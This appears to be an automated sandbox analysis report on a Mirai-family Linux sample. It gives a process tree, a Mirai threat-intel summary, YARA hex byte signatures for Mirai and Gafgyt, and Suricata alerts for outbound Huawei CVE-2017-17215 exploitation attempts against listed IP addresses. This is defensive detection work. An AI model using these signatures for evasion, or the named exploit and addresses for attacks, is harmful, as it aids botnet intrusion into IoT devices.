gsd-printer (PID: 6394, Parent: 1, MD5: 7995828cf98c315fd55f2ffb3b22384d) Arguments: /usr/libexec/gsd-printer

gnome-session-binary New Fork (PID: 6222, Parent: 5805)

sh (PID: 6222, Parent: 5805, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-rfkill

gsd-rfkill (PID: 6222, Parent: 5805, MD5: 88a16a3c0aba1759358c06215ecfb5cc) Arguments: /usr/libexec/gsd-rfkill

gnome-session-binary New Fork (PID: 6224, Parent: 5805)

sh (PID: 6224, Parent: 5805, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-smartcard

gsd-smartcard (PID: 6224, Parent: 5805, MD5: ea1fbd7f62e4cd0331eae2ef754ee605) Arguments: /usr/libexec/gsd-smartcard

gnome-session-binary New Fork (PID: 6225, Parent: 5805)

sh (PID: 6225, Parent: 5805, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-datetime

gsd-datetime (PID: 6225, Parent: 5805, MD5: d80d39745740de37d6634d36e344d4bc) Arguments: /usr/libexec/gsd-datetime

gnome-session-binary New Fork (PID: 6226, Parent: 5805)

sh (PID: 6226, Parent: 5805, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-media-keys

gsd-media-keys (PID: 6226, Parent: 5805, MD5: a425448c135afb4b8bfd79cc0b6b74da) Arguments: /usr/libexec/gsd-media-keys

gnome-session-binary New Fork (PID: 6229, Parent: 5805)

sh (PID: 6229, Parent: 5805, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-screensaver-proxy

gsd-screensaver-proxy (PID: 6229, Parent: 5805, MD5: 77e309450c87dceee43f1a9e50cc0d02) Arguments: /usr/libexec/gsd-screensaver-proxy

gnome-session-binary New Fork (PID: 6231, Parent: 5805)

sh (PID: 6231, Parent: 5805, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-sound

gsd-sound (PID: 6231, Parent: 5805, MD5: 4c7d3fb993463337b4a0eb5c80c760ee) Arguments: /usr/libexec/gsd-sound

gnome-session-binary New Fork (PID: 6237, Parent: 5805)

sh (PID: 6237, Parent: 5805, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-a11y-settings

gsd-a11y-settings (PID: 6237, Parent: 5805, MD5: 18e243d2cf30ecee7ea89d1462725c5c) Arguments: /usr/libexec/gsd-a11y-settings

gnome-session-binary New Fork (PID: 6239, Parent: 5805)

sh (PID: 6239, Parent: 5805, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-housekeeping

gsd-housekeeping (PID: 6239, Parent: 5805, MD5: b55f3394a84976ddb92a2915e5d76914) Arguments: /usr/libexec/gsd-housekeeping

gnome-session-binary New Fork (PID: 6243, Parent: 5805)

sh (PID: 6243, Parent: 5805, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-power

gsd-power (PID: 6243, Parent: 5805, MD5: 28b8e1b43c3e7f1db6741ea1ecd978b7) Arguments: /usr/libexec/gsd-power

gnome-session-binary New Fork (PID: 6742, Parent: 5805)

sh (PID: 6742, Parent: 5805, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/bin/spice-vdagent

spice-vdagent (PID: 6742, Parent: 5805, MD5: 80fb7f613aa78d1b8a229dbcf4577a9d) Arguments: /usr/bin/spice-vdagent

gnome-session-binary New Fork (PID: 6747, Parent: 5805)

sh (PID: 6747, Parent: 5805, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh xbrlapi -q

xbrlapi (PID: 6747, Parent: 5805, MD5: 0cfe25df39d38af32d6265ed947ca5b9) Arguments: xbrlapi -q

gdm3 New Fork (PID: 5779, Parent: 5696)

Default (PID: 5779, Parent: 5696, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

gdm3 New Fork (PID: 5780, Parent: 5696)

Default (PID: 5780, Parent: 5696, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

systemd New Fork (PID: 5701, Parent: 1)

accounts-daemon (PID: 5701, Parent: 1, MD5: 01a899e3fb5e7e434bea1290255a1f30) Arguments: /usr/lib/accountsservice/accounts-daemon

accounts-daemon New Fork (PID: 5712, Parent: 5701)

language-validate (PID: 5712, Parent: 5701, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /usr/share/language-tools/language-validate en_US.UTF-8

language-validate New Fork (PID: 5713, Parent: 5712)

language-options (PID: 5713, Parent: 5712, MD5: 16a21f464119ea7fad1d3660de963637) Arguments: /usr/share/language-tools/language-options

language-options New Fork (PID: 5714, Parent: 5713)

sh (PID: 5714, Parent: 5713, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "locale -a | grep -F .utf8 "

sh New Fork (PID: 5715, Parent: 5714)

locale (PID: 5715, Parent: 5714, MD5: c72a78792469db86d91369c9057f20d2) Arguments: locale -a

sh New Fork (PID: 5716, Parent: 5714)

grep (PID: 5716, Parent: 5714, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -F .utf8

systemd New Fork (PID: 5726, Parent: 1299)

dbus-daemon (PID: 5726, Parent: 1299, MD5: 3089d47e3f3ab84cd81c48fd406d7a8c) Arguments: /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only

systemd New Fork (PID: 5885, Parent: 1)

systemd-localed (PID: 5885, Parent: 1, MD5: 1244af9646256d49594f2a8203329aa9) Arguments: /lib/systemd/systemd-localed

systemd New Fork (PID: 6030, Parent: 1)

upowerd (PID: 6030, Parent: 1, MD5: 1253eea2fe5fe4017069664284e326cd) Arguments: /usr/lib/upower/upowerd

systemd New Fork (PID: 6068, Parent: 1299)

pulseaudio (PID: 6068, Parent: 1299, MD5: 0c3b4c789d8ffb12b25507f27e14c186) Arguments: /usr/bin/pulseaudio --daemonize=no --log-target=journal

systemd New Fork (PID: 6073, Parent: 1)

geoclue (PID: 6073, Parent: 1, MD5: 30ac5455f3c598dde91dc87477fb19f7) Arguments: /usr/libexec/geoclue

systemd New Fork (PID: 6188, Parent: 1)

wpa_supplicant (PID: 6188, Parent: 1, MD5: 2a5acf2a7a908a1388a09991ed7881e1) Arguments: /sbin/wpa_supplicant -u -s -O /run/wpa_supplicant

systemd New Fork (PID: 6190, Parent: 1)

avahi-daemon (PID: 6190, Parent: 1, MD5: 0125e88392fec809934928f8638511ff) Arguments: /usr/sbin/avahi-daemon -s

avahi-daemon New Fork (PID: 6196, Parent: 6190)

systemd New Fork (PID: 6192, Parent: 1)

packagekitd (PID: 6192, Parent: 1, MD5: 46b0c31f013b71a0eb63b1c040f11c86) Arguments: /usr/lib/packagekit/packagekitd

packagekitd New Fork (PID: 6216, Parent: 6192)

dpkg (PID: 6216, Parent: 6192, MD5: 5e18156b434fc45062eec2f28b9147be) Arguments: /usr/bin/dpkg --print-foreign-architectures

systemd New Fork (PID: 6261, Parent: 1)

systemd-hostnamed (PID: 6261, Parent: 1, MD5: 2cc8a5576629a2d5bd98e49a4b8bef65) Arguments: /lib/systemd/systemd-hostnamed

systemd New Fork (PID: 6434, Parent: 1)

fprintd (PID: 6434, Parent: 1, MD5: b0d8829f05cd028529b84b061b660e84) Arguments: /usr/libexec/fprintd

systemd New Fork (PID: 6546, Parent: 1)

colord (PID: 6546, Parent: 1, MD5: 70861d1b2818c9279cd4a5c9035dac1f) Arguments: /usr/libexec/colord

colord New Fork (PID: 6746, Parent: 6546)

colord-sane (PID: 6746, Parent: 6546, MD5: 5f98d754a07bf1385c3ff001cde3882e) Arguments: /usr/libexec/colord-sane

systemd New Fork (PID: 6554, Parent: 1)

ModemManager (PID: 6554, Parent: 1, MD5: 24379bf705a8ff3b2379314585843d4f) Arguments: /usr/sbin/ModemManager --filter-policy=strict

systemd New Fork (PID: 6593, Parent: 1)

systemd-localed (PID: 6593, Parent: 1, MD5: 1244af9646256d49594f2a8203329aa9) Arguments: /lib/systemd/systemd-localed

systemd New Fork (PID: 6733, Parent: 2955)

dbus-daemon (PID: 6733, Parent: 2955, MD5: 3089d47e3f3ab84cd81c48fd406d7a8c) Arguments: /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Fantazy.x86_64.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Fantazy.x86_64.elf	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0xf284:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
Fantazy.x86_64.elf	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0xfa73:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
Fantazy.x86_64.elf	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xe762:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xe870:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
Fantazy.x86_64.elf	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0xf633:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
Fantazy.x86_64.elf	Linux_Trojan_Gafgyt_0cd591cd	unknown	unknown	0xeec2:$a: 4E F8 48 8D 4E D8 49 8D 42 E0 48 83 C7 03 EB 6B 4C 8B 46 F8 48 8D
Fantazy.x86_64.elf	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0xf8fe:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
Fantazy.x86_64.elf	Linux_Trojan_Gafgyt_a33a8363	unknown	unknown	0xf0bb:$a: 41 88 02 48 85 D2 75 ED 5A 5B 5D 41 5C 41 5D 4C 89 F0 41 5E
Fantazy.x86_64.elf	Linux_Trojan_Mirai_520deeb8	unknown	unknown	0x246a:$a: ED 48 89 44 24 30 44 89 6C 24 10 7E 47 48 89 C1 44 89 E8 44
Fantazy.x86_64.elf	Linux_Trojan_Mirai_6a77af0f	unknown	unknown	0x998f:$a: 31 D1 89 0F 48 83 C7 04 85 F6 7E 3B 44 89 C8 45 89 D1 45 89 C2 41
Fantazy.x86_64.elf	Linux_Trojan_Mirai_575f5bc8	unknown	unknown	0x11dd4:$a: 5A 56 5B 5B 55 42 44 5E 59 52 44 44 00 5E 73 5E 45 52 54 43 00
Fantazy.x86_64.elf	Linux_Trojan_Mirai_01e4a728	unknown	unknown	0x256d:$a: 44 24 23 48 8B 6C 24 28 83 F9 01 4A 8D 14 20 0F B6 02 88 45 08
Fantazy.x86_64.elf	Linux_Trojan_Mirai_e0cf29e2	unknown	unknown	0x63e2:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C2 83 FE 01
Click to see the 8 entries

Memory Dumps

Source	Rule	Description	Author	Strings
5474.1.0000000000400000.0000000000414000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5474.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0xf284:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
5474.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0xfa73:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
5474.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xe762:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xe870:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
5474.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0xf633:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
5474.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_0cd591cd	unknown	unknown	0xeec2:$a: 4E F8 48 8D 4E D8 49 8D 42 E0 48 83 C7 03 EB 6B 4C 8B 46 F8 48 8D
5474.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0xf8fe:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
5474.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_a33a8363	unknown	unknown	0xf0bb:$a: 41 88 02 48 85 D2 75 ED 5A 5B 5D 41 5C 41 5D 4C 89 F0 41 5E
5474.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Mirai_520deeb8	unknown	unknown	0x246a:$a: ED 48 89 44 24 30 44 89 6C 24 10 7E 47 48 89 C1 44 89 E8 44
5474.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Mirai_6a77af0f	unknown	unknown	0x998f:$a: 31 D1 89 0F 48 83 C7 04 85 F6 7E 3B 44 89 C8 45 89 D1 45 89 C2 41
5474.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Mirai_575f5bc8	unknown	unknown	0x11dd4:$a: 5A 56 5B 5B 55 42 44 5E 59 52 44 44 00 5E 73 5E 45 52 54 43 00
5474.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Mirai_01e4a728	unknown	unknown	0x256d:$a: 44 24 23 48 8B 6C 24 28 83 F9 01 4A 8D 14 20 0F B6 02 88 45 08
5474.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Mirai_e0cf29e2	unknown	unknown	0x63e2:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C2 83 FE 01
5477.1.0000000000400000.0000000000414000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5478.1.0000000000400000.0000000000414000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5477.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0xf284:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
5477.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0xfa73:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
5477.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xe762:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xe870:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
5477.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0xf633:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
5477.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_0cd591cd	unknown	unknown	0xeec2:$a: 4E F8 48 8D 4E D8 49 8D 42 E0 48 83 C7 03 EB 6B 4C 8B 46 F8 48 8D
5477.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0xf8fe:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
5477.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_a33a8363	unknown	unknown	0xf0bb:$a: 41 88 02 48 85 D2 75 ED 5A 5B 5D 41 5C 41 5D 4C 89 F0 41 5E
5477.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Mirai_520deeb8	unknown	unknown	0x246a:$a: ED 48 89 44 24 30 44 89 6C 24 10 7E 47 48 89 C1 44 89 E8 44
5478.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0xf284:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
5478.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0xfa73:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
5477.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Mirai_6a77af0f	unknown	unknown	0x998f:$a: 31 D1 89 0F 48 83 C7 04 85 F6 7E 3B 44 89 C8 45 89 D1 45 89 C2 41
5477.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Mirai_575f5bc8	unknown	unknown	0x11dd4:$a: 5A 56 5B 5B 55 42 44 5E 59 52 44 44 00 5E 73 5E 45 52 54 43 00
5477.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Mirai_01e4a728	unknown	unknown	0x256d:$a: 44 24 23 48 8B 6C 24 28 83 F9 01 4A 8D 14 20 0F B6 02 88 45 08
5477.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Mirai_e0cf29e2	unknown	unknown	0x63e2:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C2 83 FE 01
5478.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xe762:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xe870:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
5478.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0xf633:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
5478.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_0cd591cd	unknown	unknown	0xeec2:$a: 4E F8 48 8D 4E D8 49 8D 42 E0 48 83 C7 03 EB 6B 4C 8B 46 F8 48 8D
5478.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0xf8fe:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
5478.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_a33a8363	unknown	unknown	0xf0bb:$a: 41 88 02 48 85 D2 75 ED 5A 5B 5D 41 5C 41 5D 4C 89 F0 41 5E
5478.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Mirai_520deeb8	unknown	unknown	0x246a:$a: ED 48 89 44 24 30 44 89 6C 24 10 7E 47 48 89 C1 44 89 E8 44
5478.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Mirai_6a77af0f	unknown	unknown	0x998f:$a: 31 D1 89 0F 48 83 C7 04 85 F6 7E 3B 44 89 C8 45 89 D1 45 89 C2 41
5478.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Mirai_575f5bc8	unknown	unknown	0x11dd4:$a: 5A 56 5B 5B 55 42 44 5E 59 52 44 44 00 5E 73 5E 45 52 54 43 00
5478.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Mirai_01e4a728	unknown	unknown	0x256d:$a: 44 24 23 48 8B 6C 24 28 83 F9 01 4A 8D 14 20 0F B6 02 88 45 08
5478.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Mirai_e0cf29e2	unknown	unknown	0x63e2:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C2 83 FE 01
5475.1.0000000000400000.0000000000414000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5475.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0xf284:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
5475.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0xfa73:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
5475.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xe762:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xe870:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
5475.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0xf633:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
5475.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_0cd591cd	unknown	unknown	0xeec2:$a: 4E F8 48 8D 4E D8 49 8D 42 E0 48 83 C7 03 EB 6B 4C 8B 46 F8 48 8D
5475.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0xf8fe:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
5475.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_a33a8363	unknown	unknown	0xf0bb:$a: 41 88 02 48 85 D2 75 ED 5A 5B 5D 41 5C 41 5D 4C 89 F0 41 5E
5475.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Mirai_520deeb8	unknown	unknown	0x246a:$a: ED 48 89 44 24 30 44 89 6C 24 10 7E 47 48 89 C1 44 89 E8 44
5475.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Mirai_6a77af0f	unknown	unknown	0x998f:$a: 31 D1 89 0F 48 83 C7 04 85 F6 7E 3B 44 89 C8 45 89 D1 45 89 C2 41
5475.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Mirai_575f5bc8	unknown	unknown	0x11dd4:$a: 5A 56 5B 5B 55 42 44 5E 59 52 44 44 00 5E 73 5E 45 52 54 43 00
5475.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Mirai_01e4a728	unknown	unknown	0x256d:$a: 44 24 23 48 8B 6C 24 28 83 F9 01 4A 8D 14 20 0F B6 02 88 45 08
5475.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Mirai_e0cf29e2	unknown	unknown	0x63e2:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C2 83 FE 01
5476.1.0000000000400000.0000000000414000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5476.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0xf284:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
5476.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0xfa73:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
5476.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xe762:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xe870:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
5476.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0xf633:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
5476.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_0cd591cd	unknown	unknown	0xeec2:$a: 4E F8 48 8D 4E D8 49 8D 42 E0 48 83 C7 03 EB 6B 4C 8B 46 F8 48 8D
5476.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0xf8fe:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
5476.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Gafgyt_a33a8363	unknown	unknown	0xf0bb:$a: 41 88 02 48 85 D2 75 ED 5A 5B 5D 41 5C 41 5D 4C 89 F0 41 5E
5476.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Mirai_520deeb8	unknown	unknown	0x246a:$a: ED 48 89 44 24 30 44 89 6C 24 10 7E 47 48 89 C1 44 89 E8 44
5476.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Mirai_6a77af0f	unknown	unknown	0x998f:$a: 31 D1 89 0F 48 83 C7 04 85 F6 7E 3B 44 89 C8 45 89 D1 45 89 C2 41
5476.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Mirai_575f5bc8	unknown	unknown	0x11dd4:$a: 5A 56 5B 5B 55 42 44 5E 59 52 44 44 00 5E 73 5E 45 52 54 43 00
5476.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Mirai_01e4a728	unknown	unknown	0x256d:$a: 44 24 23 48 8B 6C 24 28 83 F9 01 4A 8D 14 20 0F B6 02 88 45 08
5476.1.0000000000400000.0000000000414000.r-x.sdmp	Linux_Trojan_Mirai_e0cf29e2	unknown	unknown	0x63e2:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C2 83 FE 01
Process Memory Space: Fantazy.x86_64.elf PID: 5474	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: Fantazy.x86_64.elf PID: 5475	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: Fantazy.x86_64.elf PID: 5476	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: Fantazy.x86_64.elf PID: 5477	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: Fantazy.x86_64.elf PID: 5478	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 65 entries

Suricata Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-12T16:53:07.794236+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56564	43.252.98.194	37215	TCP
2025-02-12T16:53:15.145291+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48278	197.79.76.220	37215	TCP
2025-02-12T16:53:17.689313+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50738	186.222.181.161	37215	TCP
